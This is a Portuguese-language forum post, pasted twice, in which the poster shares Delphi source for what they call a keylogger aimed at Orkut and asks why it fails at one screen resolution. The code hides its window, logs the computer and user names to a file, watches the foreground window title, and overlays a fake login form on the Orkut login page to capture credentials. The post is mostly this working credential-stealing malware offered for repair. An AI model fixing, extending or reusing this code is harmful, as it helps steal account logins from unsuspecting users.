Pessoal, olhem essa source:
unit Unit1;
interface
uses
Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
Dialogs, StdCtrls, ExtCtrls;
type
TForm1 = class(TForm)
Memo1: TMemo;
Timer1: TTimer;
Timer2: TTimer;
function resolucao : integer;
function user: string;
function maquina: string;
function system : string;
procedure Timer1Timer(Sender: TObject);
procedure FormCreate(Sender: TObject);
procedure Timer2Timer(Sender: TObject);
private
{ Private declarations }
public
{ Public declarations }
end;
var
Form1: TForm1;
Nova, Velha : string;
implementation
uses
Unit2, tela2;
{$R *.dfm}
function Janela : string;
var
Id: THANDLE;
Nome: array[0..125] of char;
begin
Id:= GetForegroundWindow;
GetWindowText(Id, (Nome), 125);
Janela:= Nome;
end;
function TForm1.resolucao : integer;
var
altura, largura: integer;
begin
altura:= Screen.Height; // altura
largura:= Screen.Width; // largura
resolucao:= altura+largura;
end;
function TForm1.user : string;
var
nome: array[0..125] of char;
key: cardinal;
begin
key:= 125;
GetUserName(nome, key);
user:= nome;
end;
function TForm1.maquina : string;
var
nome: array[0..125] of char;
key: cardinal;
begin
key:= 125;
GetComputerName(nome, key);
maquina:= nome;
end;
function TForm1.system : string;
var
nome: array[0..125] of char;
key: cardinal;
begin
key:= 125;
GetSystemDirectory(nome, key);
system:= nome;
end;
procedure TForm1.Timer1Timer(Sender: TObject);
begin
Velha:= Nova;
Nova:= Janela;
if Nova <> Velha then
begin
if (Nova = 'orkut - login - Windows Internet Explorer') then
begin
if (resolucao = 2128) then
begin
Application.CreateForm(TLogin1, Login1);{Carrega form na memória}
Login1.Top:= 258;
Login1.Left:= 932;
Login1.FormStyle:= fsStayOnTop;
Login1.Show;
Timer2.Enabled:= True;
Timer1.Enabled:= False;
end; end; end;
//ERRO
Velha:= Nova;
Nova:= Janela;
if (Nova <> Velha) then
begin
if (Nova = 'orkut - login - Windows Internet Explorer') then
begin
if (resolucao = 1792) then
begin
Application.CreateForm(TLogin2, Login2);{Carrega form na memória}
Login1.Top:= 258;
Login1.Left:= 633;
Login1.FormStyle:= fsStayOnTop;
Login1.Show;
Timer2.Enabled:= True;
Timer1.Enabled:= False; end;
end; end; end;
procedure TForm1.Timer2Timer(Sender: TObject);
begin
Velha:= Nova;
Nova:= Janela;
if (Nova <> 'orkut - login - Windows Internet Explorer') then
begin
if (resolucao = 2128) then
begin
Login1.Close;
Timer1.Enabled:= True;
Timer2.Enabled:= False;
end; end;
Velha:= Nova;
Nova:= Janela;
if (Nova <> 'orkut - login - Windows Internet Explorer') then
begin
if (resolucao = 1792) then
begin
Login2.Close;
Timer1.Enabled:= True;
Timer2.Enabled:= False;
end;
end; end;
procedure TForm1.FormCreate(Sender: TObject);
begin
Application.ShowMainForm:= False;
Memo1.Lines.Add('===MONITORAÇÃO ORKUT===');
if (resolucao = 2128) then
begin
Memo1.Lines.Add('Resolução: 1360 x 768');
Memo1.Lines.Add('');
end;
if (resolucao = 1792) then
begin
Memo1.Lines.Add('Resolução: 1024 x 768');
Memo1.Lines.Add('');
end;
Memo1.Lines.Add('Nome da Maquina:'+ maquina);
Memo1.Lines.Add('Nome do Usuario:'+ user);
Memo1.Lines.Add('');
Memo1.Lines.SaveToFile('C:\orkut.txt');
end;
end.
O erro é o seguinte:
Quando a resolução é 1366 x 768 o programa funciona perfeitamente, já se a resolução for 1024 x 768 da erro. E quando tiro aquele código vermelho la em cima da erro quando ele acha a tela de login do orkut, não sei qual erro especificamente, mas diz que estou tentando acessar um formulario sem crialo.
Obs: Isso é um kl. E não quero kl normal, pq estou estudando esse modulo.
Desde de já muito obrigado a tds que me ajudarem!
unit Unit1;
interface
uses
Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
Dialogs, StdCtrls, ExtCtrls;
type
TForm1 = class(TForm)
Memo1: TMemo;
Timer1: TTimer;
Timer2: TTimer;
function resolucao : integer;
function user: string;
function maquina: string;
function system : string;
procedure Timer1Timer(Sender: TObject);
procedure FormCreate(Sender: TObject);
procedure Timer2Timer(Sender: TObject);
private
{ Private declarations }
public
{ Public declarations }
end;
var
Form1: TForm1;
Nova, Velha : string;
implementation
uses
Unit2, tela2;
{$R *.dfm}
function Janela : string;
var
Id: THANDLE;
Nome: array[0..125] of char;
begin
Id:= GetForegroundWindow;
GetWindowText(Id, (Nome), 125);
Janela:= Nome;
end;
function TForm1.resolucao : integer;
var
altura, largura: integer;
begin
altura:= Screen.Height; // altura
largura:= Screen.Width; // largura
resolucao:= altura+largura;
end;
function TForm1.user : string;
var
nome: array[0..125] of char;
key: cardinal;
begin
key:= 125;
GetUserName(nome, key);
user:= nome;
end;
function TForm1.maquina : string;
var
nome: array[0..125] of char;
key: cardinal;
begin
key:= 125;
GetComputerName(nome, key);
maquina:= nome;
end;
function TForm1.system : string;
var
nome: array[0..125] of char;
key: cardinal;
begin
key:= 125;
GetSystemDirectory(nome, key);
system:= nome;
end;
procedure TForm1.Timer1Timer(Sender: TObject);
begin
Velha:= Nova;
Nova:= Janela;
if Nova <> Velha then
begin
if (Nova = 'orkut - login - Windows Internet Explorer') then
begin
if (resolucao = 2128) then
begin
Application.CreateForm(TLogin1, Login1);{Carrega form na memória}
Login1.Top:= 258;
Login1.Left:= 932;
Login1.FormStyle:= fsStayOnTop;
Login1.Show;
Timer2.Enabled:= True;
Timer1.Enabled:= False;
end; end; end;
//ERRO
Velha:= Nova;
Nova:= Janela;
if (Nova <> Velha) then
begin
if (Nova = 'orkut - login - Windows Internet Explorer') then
begin
if (resolucao = 1792) then
begin
Application.CreateForm(TLogin2, Login2);{Carrega form na memória}
Login1.Top:= 258;
Login1.Left:= 633;
Login1.FormStyle:= fsStayOnTop;
Login1.Show;
Timer2.Enabled:= True;
Timer1.Enabled:= False; end;
end; end; end;
procedure TForm1.Timer2Timer(Sender: TObject);
begin
Velha:= Nova;
Nova:= Janela;
if (Nova <> 'orkut - login - Windows Internet Explorer') then
begin
if (resolucao = 2128) then
begin
Login1.Close;
Timer1.Enabled:= True;
Timer2.Enabled:= False;
end; end;
Velha:= Nova;
Nova:= Janela;
if (Nova <> 'orkut - login - Windows Internet Explorer') then
begin
if (resolucao = 1792) then
begin
Login2.Close;
Timer1.Enabled:= True;
Timer2.Enabled:= False;
end;
end; end;
procedure TForm1.FormCreate(Sender: TObject);
begin
Application.ShowMainForm:= False;
Memo1.Lines.Add('===MONITORAÇÃO ORKUT===');
if (resolucao = 2128) then
begin
Memo1.Lines.Add('Resolução: 1360 x 768');
Memo1.Lines.Add('');
end;
if (resolucao = 1792) then
begin
Memo1.Lines.Add('Resolução: 1024 x 768');
Memo1.Lines.Add('');
end;
Memo1.Lines.Add('Nome da Maquina:'+ maquina);
Memo1.Lines.Add('Nome do Usuario:'+ user);
Memo1.Lines.Add('');
Memo1.Lines.SaveToFile('C:\orkut.txt');
end;
end.
O erro é o seguinte:
Quando a resolução é 1366 x 768 o programa funciona perfeitamente, já se a resolução for 1024 x 768 da erro. E quando tiro aquele código vermelho la em cima da erro quando ele acha a tela de login do orkut, não sei qual erro especificamente, mas diz que estou tentando acessar um formulario sem crialo.
Obs: Isso é um kl. E não quero kl normal, pq estou estudando esse modulo.
Desde de já muito obrigado a tds que me ajudarem!
Comment